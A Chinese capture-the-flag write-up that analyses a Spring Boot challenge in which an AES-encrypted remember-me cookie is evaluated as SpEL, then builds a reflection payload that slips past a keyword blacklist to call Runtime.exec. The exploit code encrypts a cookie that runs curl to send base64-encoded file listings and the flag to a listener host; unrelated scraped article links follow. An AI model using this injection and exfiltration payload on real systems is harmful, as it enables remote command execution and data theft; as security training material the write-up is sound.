本文首发于合天智汇:

https://mp.weixin.qq.com/s/XWpe3OGwH1d9dYNMqfnyzA

0x01.环境准备

需要反编译的jar包如下所示

直接通过以下步骤将jar文件导入到idea中,就可以获得源码文件

如下所示我们就可以获得反编译后的几个重要的类和一些配置文件

0x02.题目分析

主要的逻辑在MainController类中

@GetMappingpublic String admin(@CookieValue(value = "remember-me",required = false) String rememberMeValue, HttpSession session, Model model) {if (rememberMeValue != null && !rememberMeValue.equals("")) {

String username= this.userConfig.decryptRememberMe(rememberMeValue);if (username != null) {

session.setAttribute("username", username);

}

}

Object username= session.getAttribute("username");if (username != null && !username.toString().equals("")) {

model.addAttribute("name", this.getAdvanceValue(username.toString()));return "hello";

}else{return "redirect:/login";

}

}

从这一段代码可以看到此时将从cookie中获取remember-me的值赋给rememberMeValue,若其不为空,则调用userconfig类中的decryptRememberMe对其进行解密,解密的逻辑在BOOT-INF\classes\io\tricking\challenge\UserConfig.class,其中加密和解密调用主要为以下两个函数

而解密方法中用到了remembermekey,此key在appalication.yml中

解密方法也是自己定义的一个类中实现的:

importjava.util.Base64;importjavax.crypto.Cipher;importjavax.crypto.spec.IvParameterSpec;importjavax.crypto.spec.SecretKeySpec;importorg.slf4j.Logger;importorg.slf4j.LoggerFactory;public classEncryptor {static Logger logger = LoggerFactory.getLogger(Encryptor.class);publicEncryptor() {

}public staticString encrypt(String key, String initVector, String value) {try{

IvParameterSpec iv= new IvParameterSpec(initVector.getBytes("UTF-8"));

SecretKeySpec skeySpec= new SecretKeySpec(key.getBytes("UTF-8"), "AES");

Cipher cipher= Cipher.getInstance("AES/CBC/PKCS5PADDING");

cipher.init(1, skeySpec, iv);byte[] encrypted =cipher.doFinal(value.getBytes());returnBase64.getUrlEncoder().encodeToString(encrypted);

}catch(Exception var7) {

logger.warn(var7.getMessage());return null;

}

}public staticString decrypt(String key, String initVector, String encrypted) {try{

IvParameterSpec iv= new IvParameterSpec(initVector.getBytes("UTF-8"));

SecretKeySpec skeySpec= new SecretKeySpec(key.getBytes("UTF-8"), "AES");

Cipher cipher= Cipher.getInstance("AES/CBC/PKCS5PADDING");

cipher.init(2, skeySpec, iv);byte[] original =cipher.doFinal(Base64.getUrlDecoder().decode(encrypted));return newString(original);

}catch(Exception var7) {

logger.warn(var7.getMessage());return null;

}

}

}

解密用到key,初始向量,以及密文,类SecretKeySpec根据提供的字节数组来生成指定算法的key,这里生成AES加密的密钥,类IvParameterSpec根据字节数组生成初始向量,Ciper类提供了java核心的加密解密算法体系,通过调用getInstance()方法我们就可以生成可以进行提供加密的对象,入口参数为我们需要使用的加密算法,以及对应的反馈模式以及填充模式,比如上面代码中的Cipher.getInstance("AES/CBC/PKCS5PADDING");,之后需要对该对象初始化,指定我们要进行的操作为加密或者解密,通过指定模式来定义,1为加密,2为解密,第二个参数即为密钥,第三个参数为我们指定的加密算法所需要的参数,AES加密需要初始的IV,这里我们传递一个IV进去,init初始结束以后,我们就可以进行解密操作,这里直接通过调用ciper.dofinal()方法来进行解密,然后返回字节数组存在original变量中转成字符串进行返回

之后讲从session中取出username,然后通过model.addAttribute()方法来设置model的键值,这里涉及到Spring MVC中Controller如何将数据返回给页面,

要实现Controller返回数据给页面,Spring MVC 提供了以下几种途径:

ModelAndView:将视图和数据封装成ModelAndView对象,作为方法的返回值,数据最终会存到HttpServletRequest对象中!

Model对象:通过给方法添加引用Model对象入参,直接往Model对象添加属性值。那么哪些类型的入参才能够引用Model对象,有三种类型,分别是org.springframework.ui.Model、org.springframework.ui.ModelMap 或 java.uti.Map。只要是这些类型的入参,都是指向Model对象的,而且不管定义多少个这些类型的入参都是指向同一个Model对象!

@SessionAttributes:通过给Controller类添加@SessionAttributes注解,该注解的name和value属性值都是Model的key值,意思是指Model中这些key对应的数据也会存到HttpSession,不仅仅存到HttpServletRequest对象中!这样页面可以共享HttpSession中存的数据了!

@ModelAttribute:使用@ModelAttribute注解的方法会在此Controller每个方法执行前被执行,指定@ModelAttribute的name或value都是一样的功能,都是作为key,将注解的方法返回的对象作为value存放到Model中,不指定name和value的话,则以注解的方法返回的类型名称首字母小写作为key。

除了上述的途径,也可以使用传统的方式,那就是直接使用HttpServletRequest或HttpSession对象来存数据,页面上再去取。

注意:Model中存的数据,最终都会存放到HttpServletRequest对象中,页面上可以通过HttpServletRequest对象获取数据。

而这里赋给name的值要经过getAdvanceValue()函数进行处理

privateString getAdvanceValue(String val) {

String[] var2= this.keyworkProperties.getBlacklist();int var3 =var2.length;for(int var4 = 0; var4 < var3; ++var4) {

String keyword=var2[var4];

Matcher matcher= Pattern.compile(keyword, 34).matcher(val);if(matcher.find()) {throw newHttpClientErrorException(HttpStatus.FORBIDDEN);

}

}

ParserContext parserContext= newTemplateParserContext();

Expression exp= this.parser.parseExpression(val, parserContext);

SmallEvaluationContext evaluationContext= newSmallEvaluationContext();returnexp.getValue(evaluationContext).toString();

}

}

首先定义var2变量为一些黑名单中的字符,然后通过循环判断解密以后的username中是否包含这些非法字符,这里通过正则来进行过滤,java正则表达式通过java.util.regex包下的Pattern类与Matcher类实现。

Pattern类用于创建一个正则表达式,也可以说创建一个匹配模式,它的构造方法是私有的,不可以直接创建,但可以通过Pattern.complie(String regex)简单工厂方法创建一个正则表达式,比如

Pattern p=Pattern.compile("exec");

p.pattern();

其中pattern() 返回正则表达式的字符串形式,也就是exec,所以这里就是将黑名单中的关键字依次进行字符串正则匹配,具体的黑名单在根据BOOT-INF/classes/io/tricking/challenge/KeyworkProperties.class中的定义可以在BOOT-INF/classes/application.yml中找到blacklist:

find()对字符串进行匹配,匹配到的字符串可以在任何位置

Pattern p=Pattern.compile("\\d+");

Matcher m=p.matcher("tr1ple2333");

m.find();//返回true

通过Pattern.compile(keyword, 34).matcher(val)就能够对username值进行匹配,如果没有匹配到黑名单的话接下来就要进行spel处理,这里介绍一下spel。Spring Expression Language(简称 SpEL)是一种功能强大的表达式语言、用于在运行时查询和操作对象图;语法上类似于 Unified EL,但提供了更多的特性,特别是方法调用和基本字符串模板函数。

通常使用SPEL求表达式的值时可以分为以下几步:

1.创建解析器:Spel 使用 ExpressionParser 接口表示解析器,提供 SpelExpressionParser 默认实现;

2.解析表达式:使用 ExpressionParser 的 parseExpression 来解析相应的表达式为 Expression 对象。

其中var即为username的值,也就是我们可以注入的表达式,ParserContext 接口用于定义val所表示的字符串表达式是不是模板,及模板开始与结束字符,也就是我们注入的表达式以#{开头,以}结尾

3.构造上下文:准备比如变量定义等等表达式需要的上下文数据。

4.求值:通过 Expression 接口的 getValue 方法根据上下文获得表达式值。

至此为止,触发SPEL的基本逻辑我们已经清楚了,那么接下来只需要加payload进行加密,并赋给remember-me作为cookie发送即可,在构造payload之前我们需要知道spel是支持多种表达式的,我们通过通过Runtime.getruntime().exec()来执行命令,因此为了能够让spel执行exec()函数,我们可以使用类类型的表达式

使用T(Type)来表示java.lang.Class实例,"Type"必须是类全限定名,"java.lang"包除外,即该包下的类可以不指定包名;

使用类类型表达式还可以进行访问类静态方法及类静态字段。

根据blacklist的过滤,我们不能直接执行 Runtime.getruntime().exec(),但是我们可以使用反射的方法来执行exec函数,这里要用到多次反射,spel表达式的payload格式如下所示

我们知道通常一层反射有如下形式:

Class test = Test.class;

Method method= test.getMethod("hack",String.class);

String x= (String)method.invoke(new Test("tr1ple"),"23333");

其中test是一个类类型的对象,通过其我们可以访问类中定义的成员方法,Test是一个我们定义的类,我们想要执行该类的hack方法,通过以上三行就能够完成反射调用hack方法,其中23333为传入的hack方法的入口参数,回到Spel的payload的构造上,这里直接通过最外层的invoke函数来通过T(String).getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(T(String).getClass().forName('java.la'+'ng.Ru'+'ntime'))反射出一个Runtime对象来执行exec函数,其中反射runtime对象的过程中又使用了一个invoke()来调用getruntime函数,从而能够成功返回Runtime对象,并且此时invoke的第二个参数即为command,也就是我们需要传给exec进行执行的命令,这样就能够利用字符串拼接成功绕过blacklist的过滤来执行命令。

0x03.题目复现

因为exec执行命令是没有回显的,因此我们curl将结果带出,首先执行

curl 192.168.127.129:2345/`ls / | base64 | tr "\n" *`

这里直接执行ls / base64将出现\n,因此用tr将\n替换成任意base64编码表以外的字符即可

因为源码中已经给出了encrypt方法,我们直接copy出来加密我们的payload即可

exp:

importjavax.crypto.BadPaddingException;importjavax.crypto.IllegalBlockSizeException;importjavax.crypto.NoSuchPaddingException;importjavax.crypto.spec.IvParameterSpec;importjava.io.UnsupportedEncodingException;importjava.security.InvalidAlgorithmParameterException;importjava.security.InvalidKeyException;importjava.security.NoSuchAlgorithmException;importjava.util.Base64;importjavax.crypto.Cipher;importjavax.crypto.spec.SecretKeySpec;classEncryptor{public staticString encrypt(String key, String initVector, String value){try{

IvParameterSpec iv= new IvParameterSpec(initVector.getBytes("UTF-8"));

SecretKeySpec skeySpec= new SecretKeySpec(key.getBytes("UTF-8"),"AES");

Cipher cipher= Cipher.getInstance("AES/CBC/PKCS5PADDING");

cipher.init(1, skeySpec, iv);byte[] encrypted =cipher.doFinal(value.getBytes());returnBase64.getUrlEncoder().encodeToString(encrypted);

}catch(UnsupportedEncodingException e) {

e.printStackTrace();

}catch(NoSuchAlgorithmException e) {

e.printStackTrace();

}catch(NoSuchPaddingException e) {

e.printStackTrace();

}catch(InvalidKeyException e) {

e.printStackTrace();

}catch(InvalidAlgorithmParameterException e) {

e.printStackTrace();

}catch(IllegalBlockSizeException e) {

e.printStackTrace();

}catch(BadPaddingException e) {

e.printStackTrace();

}return null;

}

}public classMain {public static voidmain(String[] args) {

System.out.println(Encryptor.encrypt("c0dehack1nghere1", "0123456789abcdef", "#{T(String).getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',T(String[])).invoke(T(String).getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(T(String).getClass().forName('java.la'+'ng.Ru'+'ntime')), new String[]{'/bin/bash','-c','curl 192.168.127.129:2345/`ls /|base64|tr \"\n\" \"-\"`'})}"));

}

}

burp中cookie添加remember-me的cookie

此时本地的2345端口将收到请求

此时解码就能看到flag文件了,此时只要继续加密curl 192.168.127.129:2345/`cat flag_j4v4_chun|base64`即可得到flag

继续加密第二条command并发送cookie,解码后就能获得flag

0x04.总结:

这道题涉及到spring spel表达式注入和payload构造中java反射,也学到了java开发中的很多东西,有兴趣的同学可以去复现https://github.com/phith0n/code-breaking

参考:

java con_java安全学习-Code-Breaking Puzzles-javacon详细分析相关推荐

  1. Java并发——Synchronized关键字和锁升级,详细分析偏向锁和轻量级锁的升级

    版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明. 本文链接:https://blog.csdn.net/tongdanping/article/ ...

  2. java sofa rpc_sofa-rpc服务端源码的详细分析(附流程图)

    本篇文章给大家带来的内容是关于sofa-rpc服务端源码的详细分析(附流程图),有一定的参考价值,有需要的朋友可以参考一下,希望对你有所帮助. sofa-rpc是阿里开源的一款高性能的rpc框架,这篇 ...

  3. [转载]kaldi学习笔记:run.sh(egs/timit/s5)详细分析:从数据准备到特征提取

    from:http://blog.csdn.net/xingxingdeyuanwang6/article/details/47401875 首先看一下前三行: . ./cmd.sh [ -f pat ...

  4. [转]java.lang.instrument 学习(一)

    [转]java.lang.instrument 学习(一)  收藏 sunyh 发表于 10个月前 阅读 40 收藏 3 点赞 1 评论 0 转自:http://jiangbo.me/blog/201 ...

  5. Java IO流学习总结二:File

    转载请标明出处:http://blog.csdn.net/zhaoyanjun6/article/details/54581478 本文出自[赵彦军的博客] Java IO流学习总结一:输入输出流 J ...

  6. An Introduction to Our Code Breaking Team

    小朋友们大家好,知道我们是谁吗?对了,我们就是Team Code Breaking! 关于这个队名,我们讨论了很久,这个Code Breaking似乎是来源于某部电影,又似乎是来源于某本小说,或许单纯 ...

  7. 20165235 Java第一周学习总结

    (# 20165235 Java第一周学习总结 Ubuntu下git的安装与使用 首先Ubuntu下git的安装,使用sudo apt-get install git下载Ubuntu,下载完成后可以用 ...

  8. Java 8 实战学习笔记

    Java 8 实战学习笔记 @(JAVASE)[java8, 实战, lambda] 文章目录 Java 8 实战学习笔记 参考内容 Lambda表达式 Lambda环绕执行模式(抽离步骤) 原始代码 ...

  9. 【Java Web开发学习】Spring MVC 拦截器HandlerInterceptor

    [Java Web开发学习]Spring MVC 拦截器HandlerInterceptor 转载:https://www.cnblogs.com/yangchongxing/p/9324119.ht ...

最新文章

  1. 关于 RMAN 备份 数据块 一致性的讨论
  2. 在Ubuntu 14.04 64bit上编译安装xbt tracker
  3. python写一个游戏多少代码-使用Python写一个贪吃蛇游戏实例代码
  4. windows下单机版的伪分布式solrCloud环境搭建Tomcat+solr+zookeeper
  5. ImageMagick的下载和配置
  6. php+psr4和自动加载,php自动加载规范 PSR4 (Thinkphp)
  7. 轻轻松松的记住Linux系统目录结构
  8. 如何实时捕捉社会热点?微博热搜数据监测系统-API接口
  9. boobooke播布客
  10. 一个小时学会画网络拓扑图(附标准素材)
  11. JAVA 超详细 将文件夹目录打包为 ZIP 压缩包并下载
  12. 佐切的第三天学习分享
  13. 应届生如何获取招聘信息
  14. 国内外云ERP市场厂商大盘点
  15. 聊一聊 MySQL 数据库中的那些锁
  16. 清轩云DS系统源码V2.0最新UI面板分享
  17. Linux教程 第十一课 Linux进程管理及作业控制(几本没看懂)
  18. 华为手机如何连接无线打印服务器,惊呆了!华为Mate 20居然支持无线打印
  19. idea报错快捷键_Idea的快捷键,瞎摸索,开心就好,哈哈哈
  20. 面试官问我:Andriod为什么不能在子线程更新UI?

热门文章

  1. 语雀—好用的文档编写、知识沉淀的工具
  2. 卸载已有navicat for mysql,安装破解版。
  3. mac下修改文件的md5值
  4. mysql 数据库 期末复习题库
  5. 计算机硬件检测标准模板,计算机硬件性能检测相关实验模板.doc
  6. 银联支付api相关文档
  7. flash builder 环境配置
  8. KVM虚拟化技术及环境配置
  9. Snail—不是所有的牛都叫蜗牛
  10. 自动控制理论(7)——线性系统的稳态误差分析